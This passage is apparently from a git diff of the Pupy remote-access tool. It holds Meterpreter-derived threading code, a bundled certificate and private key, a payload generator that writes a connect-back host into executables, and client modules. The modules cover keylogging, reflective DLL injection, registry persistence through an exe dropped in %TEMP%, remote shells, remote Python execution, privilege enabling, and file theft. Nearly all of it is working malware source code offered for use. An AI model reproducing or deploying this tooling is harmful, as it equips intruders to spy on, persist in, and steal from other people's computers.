// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
if( event == NULL )
return FALSE;
if(timeout) {
struct timespec ts;
// XXX, need to verify for -1. below modified from bionic/pthread.c
// and maybe loop if needed ;\
ts.tv_sec = timeout / 1000;
ts.tv_nsec = (timeout%1000)*1000000;
if (ts.tv_nsec >= 1000000000) {
ts.tv_sec++;
ts.tv_nsec -= 1000000000;
}
// atomically checks if event->handle is 0, if so,
// it sleeps for timeout. if event->handle is 1, it
// returns straight away.
__futex_wait(&(event->handle), 0, &ts);
}
// We should behave like an auto-reset event
result = event->handle ? TRUE : FALSE;
if( result )
event->handle = (HANDLE)0;
return result;
#endif
}
/*****************************************************************************************/
/*
* Opens and create a THREAD item for the current/calling thread.
*/
THREAD * thread_open( VOID )
{
THREAD * thread = NULL;
#ifdef _WIN32
OPENTHREAD pOpenThread = NULL;
HMODULE hKernel32 = NULL;
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread != NULL )
{
memset( thread, 0, sizeof(THREAD) );
thread->id = GetCurrentThreadId();
thread->sigterm = event_create();
// Windows specific process of opening a handle to the current thread which
// works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access
// for now.
// First we try to use the normal OpenThread function, available on Windows 2000 and up...
hKernel32 = LoadLibrary( "kernel32.dll" );
pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, "OpenThread" );
if( pOpenThread )
{
thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id );
}
else
{
NTOPENTHREAD pNtOpenThread = NULL;
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
if( pNtOpenThread )
{
_OBJECT_ATTRIBUTES oa = {0};
_CLIENT_ID cid = {0};
cid.UniqueThread = (PVOID)thread->id;
pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid );
}
FreeLibrary( hNtDll );
}
FreeLibrary( hKernel32 );
}
return thread;
#else
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread != NULL )
{
memset( thread, 0, sizeof(THREAD) );
thread->id = gettid();
thread->sigterm = event_create();
thread->pid = pthread_self();
}
return thread;
#endif
}
#ifndef _WIN32
struct thread_conditional {
pthread_mutex_t suspend_mutex;
pthread_cond_t suspend_cond;
int engine_running;
LPVOID (*funk)(void *arg);
THREAD *thread;
};
void __thread_cancelled(int signo)
{
signal(SIGTERM, SIG_DFL);
pthread_exit(NULL);
}
/*
* This is the entry point for threads created with thread_create.
*
* To implement suspended threads, we need to do some messing around with
* mutexes and conditional broadcasts ;\
*/
void *__paused_thread(void *req)
{
LPVOID (*funk)(void *arg);
THREAD *thread;
struct thread_conditional *tc = (struct thread_conditional *)(req);
tc->thread->id = gettid();
signal(SIGTERM, __thread_cancelled);
pthread_mutex_lock(&tc->suspend_mutex);
while(tc->engine_running == FALSE) {
pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex);
}
pthread_mutex_unlock(&tc->suspend_mutex);
funk = tc->funk;
thread = tc->thread;
free(tc);
if(event_poll(thread->sigterm, 0) == TRUE) {
/*
* In some cases, we might want to stop a thread before it does anything :/
*/
return NULL;
}
return funk(thread);
}
#endif
/*
* Create a new thread in a suspended state.
*/
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
{
THREAD * thread = NULL;
if( funk == NULL )
return NULL;
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread == NULL )
return NULL;
memset( thread, 0, sizeof( THREAD ) );
thread->sigterm = event_create();
if( thread->sigterm == NULL )
{
free( thread );
return NULL;
}
thread->parameter1 = param1;
thread->parameter2 = param2;
thread->parameter3 = param3;
#ifdef _WIN32
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
if( thread->handle == NULL )
{
event_destroy( thread->sigterm );
free( thread );
return NULL;
}
#else
// PKS, this is fucky.
// we need to use conditionals to implement this.
thread->thread_started = FALSE;
do {
pthread_t pid;
struct thread_conditional *tc;
tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional));
if( tc == NULL ) {
event_destroy(thread->sigterm);
free(thread);
return NULL;
}
memset( tc, 0, sizeof(struct thread_conditional));
pthread_mutex_init(&tc->suspend_mutex, NULL);
pthread_cond_init(&tc->suspend_cond, NULL);
tc->funk = funk;
tc->thread = thread;
thread->suspend_thread_data = (void *)(tc);
if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {
free(tc);
event_destroy(thread->sigterm);
free(thread);
return NULL;
}
// __paused_thread free's the allocated memory.
} while(0);
#endif
return thread;
}
/*
* Run a thread.
*/
BOOL thread_run( THREAD * thread )
{
if( thread == NULL )
return FALSE;
#ifdef _WIN32
if( ResumeThread( thread->handle ) < 0 )
return FALSE;
#else
struct thread_conditional *tc;
tc = (struct thread_conditional *)thread->suspend_thread_data;
pthread_mutex_lock(&tc->suspend_mutex);
tc->engine_running = TRUE;
pthread_mutex_unlock(&tc->suspend_mutex);
pthread_cond_signal(&tc->suspend_cond);
thread->thread_started = TRUE;
#endif
return TRUE;
}
/*
* Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.
* Should be used to signal the thread to terminate.
*/
BOOL thread_sigterm( THREAD * thread )
{
BOOL ret;
if( thread == NULL )
return FALSE;
ret = event_signal( thread->sigterm );
#ifndef _WIN32
/*
* If we sig term a thread before it's started execution, we will leak memory / not be
* able to join on the thread, etc.
*
* Therefore, we need to start the thread executing before calling thread_join
*/
if(thread->thread_started != TRUE) {
thread_run(thread);
}
#endif
return ret;
}
/*
* Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.
*/
BOOL thread_kill( THREAD * thread )
{
if( thread == NULL )
return FALSE;
#ifdef _WIN32
if( TerminateThread( thread->handle, -1 ) == 0 )
return FALSE;
return TRUE;
#else
// bionic/libc/bionic/CAVEATS
// - pthread cancellation is *not* supported. this seemingly simple "feature" is the source
// of much bloat and complexity in a C library. Besides, you'd better write correct
// multi-threaded code instead of relying on this stuff.
// pthread_kill says: Note that pthread_kill() only causes the
// signal to be handled in the context of the given thread; the signal
// action (termination or stopping) affects the process as a whole.
// We send our thread a SIGTERM, and a signal handler calls pthread_exit().
pthread_kill(thread->id, SIGTERM);
return FALSE;
#endif
}
/*
* Blocks untill the thread has terminated.
*/
BOOL thread_join( THREAD * thread )
{
if( thread == NULL )
return FALSE;
#ifdef _WIN32
if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )
return TRUE;
return FALSE;
#else
if(pthread_join(thread->pid, NULL) == 0)
return TRUE;
return FALSE;
#endif
}
/*
* Destroys a previously created thread. Note, this does not terminate the thread. You must signal your
* thread to terminate and wait for it to do so (via thread_signal/thread_join).
*/
BOOL thread_destroy( THREAD * thread )
{
if( thread == NULL )
return FALSE;
event_destroy( thread->sigterm );
#ifdef _WIN32
CloseHandle( thread->handle );
#else
pthread_detach(thread->pid);
#endif
free( thread );
return TRUE;
}

118
client/sources/thread.h Normal file
View File

@ -0,0 +1,118 @@
#ifndef _METERPRETER_LIB_THREAD_H
#define _METERPRETER_LIB_THREAD_H
#ifdef _WIN32
/*****************************************************************************************/
// Win32/64 specific definitions...
typedef struct __UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} _UNICODE_STRING, * _PUNICODE_STRING;
typedef struct __OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
_PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES;
typedef struct __CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} _CLIENT_ID, * _PCLIENT_ID;
typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread
typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread
/*****************************************************************************************/
#else
#include "pthread.h"
#endif // _WIN32
typedef struct _LOCK
{
#ifdef _WIN32
HANDLE handle;
#else
pthread_mutex_t *handle;
#endif // _WIN32
} LOCK, * LPLOCK;
typedef struct _EVENT
{
HANDLE handle;
} EVENT, * LPEVENT;
typedef struct _THREAD
{
DWORD id;
HANDLE handle;
EVENT * sigterm;
LPVOID parameter1;
LPVOID parameter2;
LPVOID parameter3;
#ifndef _WIN32
void *suspend_thread_data;
pthread_t pid;
int thread_started;
#endif
} THREAD, * LPTHREAD;
#ifdef __GNUC__
#define THREADCALL __attribute__((stdcall))
#else // ! gcc
#define THREADCALL __stdcall
#endif
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
/*****************************************************************************************/
LOCK * lock_create( VOID );
VOID lock_destroy( LOCK * lock );
VOID lock_acquire( LOCK * lock );
VOID lock_release( LOCK * lock );
/*****************************************************************************************/
EVENT * event_create( VOID );
BOOL event_destroy( EVENT * event );
BOOL event_signal( EVENT * event );
BOOL event_poll( EVENT * event, DWORD timeout );
/*****************************************************************************************/
THREAD * thread_open( VOID );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
BOOL thread_run( THREAD * thread );
BOOL thread_sigterm( THREAD * thread );
BOOL thread_kill( THREAD * thread );
BOOL thread_join( THREAD * thread );
BOOL thread_destroy( THREAD * thread );
/*****************************************************************************************/
#endif

22
pupy/crypto/cert.pem Normal file
View File

@ -0,0 +1,22 @@
-----BEGIN CERTIFICATE-----
MIIDjzCCAnegAwIBAgIJAIK87pAgfXeYMA0GCSqGSIb3DQEBCwUAMF4xCzAJBgNV
BAYTAkZSMQ8wDQYDVQQIDAZGcmFuY2UxETAPBgNVBAcMCGludGVybmV0MQ0wCwYD
VQQKDARQdXB5MQ0wCwYDVQQLDARQdXB5MQ0wCwYDVQQDDARQdXB5MB4XDTE1MDky
MTE5NTI0NFoXDTE2MDkyMDE5NTI0NFowXjELMAkGA1UEBhMCRlIxDzANBgNVBAgM
BkZyYW5jZTERMA8GA1UEBwwIaW50ZXJuZXQxDTALBgNVBAoMBFB1cHkxDTALBgNV
BAsMBFB1cHkxDTALBgNVBAMMBFB1cHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDCALki+F7IVLB3UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1
FiUhytH82fhbLEUroYXbGQRvEEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4Ra
QNmFhowd/XXO1pHm0wYpQ0gnZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3
DdF/2Mcyfvg4uPKio214dZZoo/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4
RPYc3O9bJce3W8hFw3hPUhgwxHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1s
rCoxqB67Dqhnka+qQBO8DHulMXnoQKutAgMBAAGjUDBOMB0GA1UdDgQWBBTGAL40
Q6MYGSQ5papCCHiqhD8ELzAfBgNVHSMEGDAWgBTGAL40Q6MYGSQ5papCCHiqhD8E
LzAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAW0wYlhU4D5X0GKkiZ
p+vGvN3ja/PY+yK9JozKD56eMrmoGk3/105ro+IvliY0EiEKuL6PBNZsCmDwutNZ
2Qk+W8LJJIN8QtGLR+KI2MGKQZGJQrCw1mZVM8sN0hQOViog/20Lk+2dtnMTKHRc
kdmFyWa2zZlPIEANRfs9QjctAjS4UetzbJ+gjeJV45+0xsAjNLXQfmKjbGm8ZWWV
6BisRQ9h+lH+YFnuEV6SLZgMdqVKN+CPiwFI4wnHSEpZR1twk6wlUmM/xrl68aIg
e1rycdex3u2JuDxMqBA2rAcJP1kJfKmRz6FfZBfj1zZYUps2tx6cKn2s/BbgqErK
eXlU
-----END CERTIFICATE-----

2
pupy/crypto/gen.sh Normal file
View File

@ -0,0 +1,2 @@
#!/bin/bash
openssl req -new -x509 -keyout server.pem -out cert.pem -days 365 -nodes

28
pupy/crypto/server.pem Normal file
View File

@ -0,0 +1,28 @@
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDCALki+F7IVLB3
UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1FiUhytH82fhbLEUroYXbGQRv
EEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4RaQNmFhowd/XXO1pHm0wYpQ0gn
ZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3DdF/2Mcyfvg4uPKio214dZZo
o/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4RPYc3O9bJce3W8hFw3hPUhgw
xHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1srCoxqB67Dqhnka+qQBO8DHul
MXnoQKutAgMBAAECggEAEHJnP6O2xV0IqNThb81+5BagaCZgMAfO6txgSoN4i8k+
+WsIhIm6jxqVg0viiYEhIPmb05sZ8f0o9xF1ox1x7q+5ai3a1BheRbe60JhOM+1p
bKxoYOgmPFCLIFrLvi8isapXLC5vs0fU8iI3L7+6AbUsfNqv+J53cauBVRiEhujr
aK23EJyY1FrklFGyn/qJKKw89sArg63S4cf1JZ/05xkiVV6sivVjDLnQRjBM3gex
l0SMlHJseudV40AGUwOVeABdijrTTB2CpoMjsSH9wSRN7jCC6sJaqViq9+sMCdXo
IyR+ifisM0yrNC0U19h/v3psbIYlLRUOQDKN5lGIgQKBgQDitzPk867oxUIPT0mq
QV6lD8ySNeGqDFpp2GFaEMcap1lp7Y9LIeqxghN1PZoZ5v29NoxxQNxCFhfo+VHo
vSoECKcEvR3RQkaA24IR41BQcLea/D6lea3KFC/K0ze7y0Pm5bw9Unv3+3pZb0pO
VxAzuV2ldRd2eHzEpn0BJyVraQKBgQDbD86lluqxxL7/mYITdxANtpb3yTnTdrv0
Xl3scOb4umGAj4qBPFDHhmGz/6SmM2LKKA8sSps/XKfDHQEXzUMRenaU+CKKiE7r
YA0GdZWgBYgtVCDCpuu8RNfbW+vx2uLvRr2iZJW7MQQtPdZ8rF01GKG0vQ67tbpR
8BuWBMXJpQKBgQDIaSSBlnwengkIWZGH5GNSzEWNVf4XAPaHrFRadoxa3mZnAi3y
P5gktBSZRgxMK2pP8cFyd+B8tuUJ+CNU9qsGh9OEl9yc19ZVIDW5tFSR1yIm6iZC
xu4+vVuGEvKomkV6/chJ+PlHPFFqb7uixsm2v3ytv3UvL9EzUO0dsMoeSQKBgQCp
Zdzf8gdFNqaYUyXiVYTlhdfSfxonaz7HJp4s89W4a7BwUQ/DBlhVIpa1MbAqEbyI
JVguYPcSlVzppakttb3yayf95LAZPnUA0QLhhtYQq5Z1rwOyYpASw43EhJ29Jg2t
CKAmTu/2lF3tek89k7B0GbsaX8Rf5ZTSPgGnDcPBPQKBgHNfcTM34Kuqd5taxUEy
kIvgHvLBfOk7PbV3Zsejp1ZZllwTkoxDxDBCkELgZ4jfsXGaJxg9bCYkuDS1Jsg1
3F/hTvlV79UX+dfPgz9FPY8rzoPZ0ukKONXhO68m7ywQJOdtkBO/lXad93JvSDDy
nntqa2r7P+igcForz17n95Wy
-----END PRIVATE KEY-----

81
pupy/genpayload.py Executable file
View File

@ -0,0 +1,81 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
import argparse
import sys
import os.path
def get_edit_binary(path, host, ip):
binary=b""
with open(path, 'rb') as f:
binary=f.read()
i=0
offsets=[]
while True:
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
if i==-1:
break
offsets.append(i)
if not offsets:
raise Exception("Error: the offset to edit IP:PORT have not been found")
elif len(offsets)!=1:
raise Exception("Error: multiple offsets to edit IP:PORT have been found")
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
if len(new_host)>100:
raise Exception("Error: host too long")
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]
return binary
if __name__=="__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--type', default='exe_x86', help="exe_x86/dll_x86 exe_x64/dll_x64 (default: exe_x86)")
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
parser.add_argument('host', help="connect back host")
args=parser.parse_args()
outpath=None
if args.type=="exe_x86":
binary=get_edit_binary(os.path.join("payloads","pupyx86.exe"), args.host, args.port)
outpath="pupyx86.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="exe_x64":
binary=get_edit_binary(os.path.join("payloads","pupyx64.exe"), args.host, args.port)
outpath="pupyx64.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="dll_x64":
exit("not implemented")
elif args.type=="dll_x86":
exit("not implemented")
pass
else:
exit("Type %s is invalid."%(args.type))
print "binary generated to %s with HOST=%s"%(outpath,(args.host, args.port))

0
pupy/modules/__init__.py Normal file
View File

27
pupy/modules/download.py Normal file
View File

@ -0,0 +1,27 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from rpyc.utils.classic import download
import os
import os.path
__class_name__="DownloaderScript"
class DownloaderScript(PupyModule):
""" download a file/directory from a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__)
self.arg_parser.add_argument('remote_file', metavar='<remote_path>')
self.arg_parser.add_argument('local_file', nargs='?', metavar='<local_path>')
def run(self, args):
remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file)
rep=os.path.join("data","downloads",self.client.short_name())
if not args.local_file:
try:
os.makedirs(rep)
except Exception:
pass
args.local_file=os.path.join(rep, os.path.basename(remote_file.replace("\\",os.sep).replace("/",os.sep).rstrip("/\\")))
self.info("downloading %s ..."%remote_file)
download(self.client.conn, remote_file, args.local_file)
self.success("file downloaded from remote:%s to local:%s"%(remote_file, args.local_file))

23
pupy/modules/exit.py Normal file
View File

@ -0,0 +1,23 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from pupylib.PupyErrors import PupyModuleError
__class_name__="ExitModule"
class ExitModule(PupyModule):
""" exit the client on the other side """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="exit", description=self.__doc__)
self.arg_parser.add_argument('--yes', action="store_true", help='exit confirmation')
def run(self, args):
if args.yes:
try:
self.client.conn.exit()
except Exception:
pass
else:
raise PupyModuleError("Warning: if you do this you will loose your shell. Please conform with --yes to perform this action.")
return "client exited"

17
pupy/modules/get_info.py Normal file
View File

@ -0,0 +1,17 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
__class_name__="GetInfo"
class GetInfo(PupyModule):
""" get some informations about one or multiple clients """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__)
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
def run(self, args):
infos=""
for k,v in self.client.desc.iteritems():
if k not in ["conn","id","user","platform"]:
infos+="{:<10}: {}\n".format(k,v)
self.rawlog(infos)

21
pupy/modules/getprivs.py Normal file
View File

@ -0,0 +1,21 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
__class_name__="GetPrivsModule"
class GetPrivsModule(PupyModule):
""" try to get SeDebugPrivilege for the current process """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__)
@windows_only
def is_compatible(self):
pass
def run(self, args):
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
self.client.load_package("pupwinutils.security", force=True)
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
self.success("SeDebugPrivilege enabled !")

View File

@ -0,0 +1,24 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from pupylib.utils import redirected_stdio
__class_name__="InteractiveShell"
class InteractiveShell(PupyModule):
""" open an interactive command shell """
max_clients=1
def init_argparse(self):
self.arg_parser = PupyArgumentParser(description=self.__doc__)
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
def run(self, args):
self.client.load_package("interactive_shell")
program="/bin/sh"
encoding=None
if self.client.is_windows():
program="cmd.exe"
encoding="cp437"
with redirected_stdio(self.client.conn):
self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding)

52
pupy/modules/keylogger.py Normal file
View File

@ -0,0 +1,52 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import StringIO
import pupylib.utils
import SocketServer
import threading
import socket
import logging
import struct
import traceback
import time
__class_name__="KeyloggerModule"
class KeyloggerModule(PupyModule):
""" a simple keylogger :-) """
#max_clients=1
daemon=True
unique_instance=True
keylogger=None
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='keylogger', description=self.__doc__)
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
@windows_only
def is_compatible(self):
pass
def stop_daemon(self):
self.success("keylogger stopped")
def run(self, args):
if args.action=="start":
if self.keylogger:
self.error("the keylogger is already started")
else:
self.client.load_package("pupwinutils.keylogger")
self.keylogger=self.client.conn.modules["pupwinutils.keylogger"].KeyLogger()
self.keylogger.start()
else:
if not self.keylogger:
self.error("the keylogger is not running")
return
if args.action=="dump":
self.success("dumping recorded keystrokes :")
self.log(self.keylogger.dump())
elif args.action=="stop":
self.keylogger.stop()
self.job.stop()

62
pupy/modules/migrate.py Normal file
View File

@ -0,0 +1,62 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import genpayload
import os.path
import time
__class_name__="MigrateModule"
def has_proc_migrated(client, pid):
for c in client.pupsrv.clients:
if all([True for x in c.desc if x in ["hostname", "platform", "release", "version", "macaddr"] and client.desc[x]==c.desc[x]]):
if int(c.desc["pid"])==pid:
return c
return None
class MigrateModule(PupyModule):
""" Migrate pupy into another process using reflective DLL injection """
max_clients=1
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="migrate", description=self.__doc__)
self.arg_parser.add_argument('pid', type=int, help='pid')
@windows_only
def is_compatible(self):
pass
def run(self, args):
dllbuf=b""
isProcess64bits=False
#TODO automatically fill ip/port
self.client.load_package("psutil")
self.client.load_package("pupwinutils.processes")
self.success("looking for configured connect back address ...")
res=self.client.conn.modules['pupy'].get_connect_back_host()
host, port=res.rsplit(':',1)
self.success("address configured is %s:%s ..."%(host,port))
self.success("looking for process %s architecture ..."%args.pid)
if self.client.conn.modules['pupwinutils.processes'].is_process_64(args.pid):
isProcess64bits=True
self.success("process is 64 bits")
dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx64.dll"), host, port)
else:
self.success("process is 32 bits")
dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.dll"), host, port)
self.success("injecting DLL in target process %s ..."%args.pid)
self.client.conn.modules['pupy'].reflective_inject_dll(args.pid, dllbuff, isProcess64bits)
self.success("DLL injected !")
self.success("waiting for a connection from the DLL ...")
while True:
c=has_proc_migrated(self.client, args.pid)
if c:
self.success("got a connection from migrated DLL !")
c.desc["id"]=self.client.desc["id"]
break
time.sleep(0.1)
try:
self.client.conn.exit()
except Exception:
pass

23
pupy/modules/msgbox.py Normal file
View File

@ -0,0 +1,23 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
__class_name__="MsgBoxPopup"
class MsgBoxPopup(PupyModule):
""" Pop up a custom message box """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
self.arg_parser.add_argument('--title', help='msgbox title')
self.arg_parser.add_argument('text', help='text to print in the msgbox :)')
@windows_only
def is_compatible(self):
pass
def run(self, args):
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
self.client.load_package("pupwinutils.msgbox")
self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
self.log("message box popped !")

View File

@ -0,0 +1,55 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import random
import genpayload
import os.path
import string
__class_name__="PersistenceModule"
class PersistenceModule(PupyModule):
""" Pop up a custom message box """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
@windows_only
def is_compatible(self):
pass
def run(self, args):
if args.method=="registry":
self.client.load_package("pupwinutils.persistence")
#retrieving conn info
res=self.client.conn.modules['pupy'].get_connect_back_host()
host, port=res.rsplit(':',1)
self.info("generating exe ...")
#generating exe
exebuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.exe"), host, port)
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path)
#uploading
rf=self.client.conn.builtin.open(remote_path, "wb")
chunk_size=16000
pos=0
while True:
buf=exebuff[pos:pos+chunk_size]
if not buf:
break
rf.write(buf)
pos+=chunk_size
rf.close()
self.success("upload successful")
#adding persistency
self.info("adding to registry ...")
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
self.info("registry key added")
self.success("persistence added !")
else:
self.error("not implemented")

36
pupy/modules/ps.py Normal file
View File

@ -0,0 +1,36 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from pupylib.utils import obtain
__class_name__="MsgBoxPopup"
class MsgBoxPopup(PupyModule):
""" list processes """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="ps", description=self.__doc__)
self.arg_parser.add_argument('--all', '-a', action='store_true', help='more info')
@windows_only
def is_compatible(self):
pass
def run(self, args):
#self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0)
self.client.load_package("psutil")
self.client.load_package("pupwinutils.processes")
outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes()
outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster
columns=['username', 'pid', 'arch', 'exe']
if args.all:
columns=['username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status']
for dic in outputlist:
dic["cmdline"]=' '.join(dic['cmdline'][1:])
else:
for dic in outputlist:
if 'exe' in dic and not dic['exe'] and 'name' in dic and dic['name']:
dic['exe']=dic['name']
if 'username' in dic and dic['username'] is None:
dic['username']=""
self.rawlog(self.formatter.table_format(outputlist, wl=columns))

37
pupy/modules/pyexec.py Normal file
View File

@ -0,0 +1,37 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import StringIO
import pupylib.utils
__class_name__="PythonExec"
class PythonExec(PupyModule):
""" execute python code on a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='pyexec', description=self.__doc__)
group=self.arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--file', metavar="<path>", help="execute code from .py file")
group.add_argument('-c','--code', metavar='<code string>', help="execute python oneliner code. ex : 'import platform;print platform.uname()'")
def run(self, args):
code=""
if args.file:
self.info("loading code from %s ..."%args.file)
with open(args.file,'r') as f:
code=f.read()
else:
code=args.code
stdout=StringIO.StringIO()
stderr=StringIO.StringIO()
try:
with pupylib.utils.redirected_stdo(self.client.conn, stdout, stderr):
self.client.conn.execute(code+"\n")
res=stdout.getvalue()
err=stderr.getvalue()
if err.strip():
err="\n"+err
self.rawlog(res+err)
finally:
stdout.close()
stderr.close()

31
pupy/modules/pyshell.py Normal file
View File

@ -0,0 +1,31 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import sys
import subprocess
import threading
import Queue
import pupylib.utils
import time
__class_name__="InteractivePythonShell"
def enqueue_output(out, queue):
for c in iter(lambda: out.read(1), b""):
queue.put(c)
class InteractivePythonShell(PupyModule):
""" open an interactive python shell on the remote client """
max_clients=1
def init_argparse(self):
